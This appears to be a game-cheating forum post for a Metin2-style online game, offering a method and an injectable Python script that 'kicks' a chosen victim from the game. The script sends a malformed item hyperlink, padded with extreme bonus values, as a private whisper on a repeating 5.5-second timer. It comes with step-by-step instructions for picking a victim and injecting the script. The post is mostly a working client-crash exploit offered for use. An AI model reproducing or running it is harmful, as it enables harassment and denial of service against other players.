| previews | |
|
|
|
video:

1. choose victim (you have to PN him/her)
2. click the text field in the pn-window
3. hyperlink an item WITH BONUSES from the call-chat (alt + left click)
NOT YOUR OWN ITEM!!!!
4. send the message
5. repeat
other method
1. inject my python script (e.g. load python script with STMod or something else)
2. choose victim
3. click "Kick"
Code:
import player, net, chat, ui
from threading import Timer
text = "|cffffc700|Hitem:1df:0:1df:1df:fd1:0:4:9999:5:9999:1:9999:51:9999:2d:9999|h[Dragon Tooth Blade +9]|h|r"
is_started = 0
delay = 5.5
class KickDialog(ui.Window):
def __init__(self):
ui.Window.__init__(self)
self.t = Timer(delay, self.Kick)
self.Board = ui.BoardWithTitleBar()
self.Board.SetSize(225, 100)
self.Board.SetCenterPosition()
self.Board.AddFlag("movable")
self.Board.AddFlag("float")
self.Board.SetTitleName("Kicker")
self.Board.SetCloseEvent(self.Close)
self.Board.Show()
self.targetNameText = ui.TextLine()
self.targetNameText.SetParent(self.Board)
self.targetNameText.SetDefaultFontName()
self.targetNameText.SetPosition(15, 35)
self.targetNameText.SetFeather()
self.targetNameText.SetText("Spielername:")
self.targetNameText.SetFontColor(1.0, 1.0, 1.0)
self.targetNameText.SetOutline()
self.targetNameText.Show()
self.targetNameSlotBar = ui.SlotBar()
self.targetNameSlotBar.SetParent(self.Board)
self.targetNameSlotBar.SetSize(20*7, 14)
self.targetNameSlotBar.SetPosition(70, 35)
self.targetNameSlotBar.Show()
self.targetNameEditLine = ui.EditLine()
self.targetNameEditLine.SetParent(self.targetNameSlotBar)
self.targetNameEditLine.SetSize(20*7, 18)
self.targetNameEditLine.SetPosition(6, 0)
self.targetNameEditLine.SetMax(20)
self.targetNameEditLine.SetFocus()
self.targetNameEditLine.Show()
self.kickTargetButton = ui.Button()
self.kickTargetButton.SetParent(self.Board)
self.kickTargetButton.SetUpVisual("d:/ymir work/ui/public/large_Button_01.sub")
self.kickTargetButton.SetOverVisual("d:/ymir work/ui/public/large_Button_02.sub")
self.kickTargetButton.SetDownVisual("d:/ymir work/ui/public/large_Button_03.sub")
self.kickTargetButton.SetText("Kick")
self.kickTargetButton.SetPosition(70, 50)
self.kickTargetButton.SetEvent(ui.__mem_func__(self.Start))
self.kickTargetButton.Show()
def __del__(self):
ui.Window.__del__(self)
def Close(self):
self.Board = None
self.t.cancel()
def Start(self):
targetName = self.targetNameEditLine.GetText()
if self.t.is_alive() :
chat.AppendChat(chat.CHAT_TYPE_INFO, "Stopped kicking " + targetName)
self.t.cancel()
else:
chat.AppendChat(chat.CHAT_TYPE_INFO, "Started kicking " + targetName)
self.KickStart()
def KickStart(self):
targetName = self.targetNameEditLine.GetText()
self.t = Timer(delay, self.Kick)
chat.AppendChat(chat.CHAT_TYPE_INFO, "Kicking " + targetName + " in " + str(delay) + " seconds")
self.t.start()
def Kick(self):
targetName = self.targetNameEditLine.GetText()
chat.AppendChat(chat.CHAT_TYPE_INFO, "Kicking " + targetName + " right now")
net.SendWhisperPacket(targetName, text)
chat.AppendWhisper(chat.WHISPER_TYPE_CHAT, targetName, player.GetName() + " : " + text)
self.KickStart()
StartDialog = KickDialog()
StartDialog.Show()







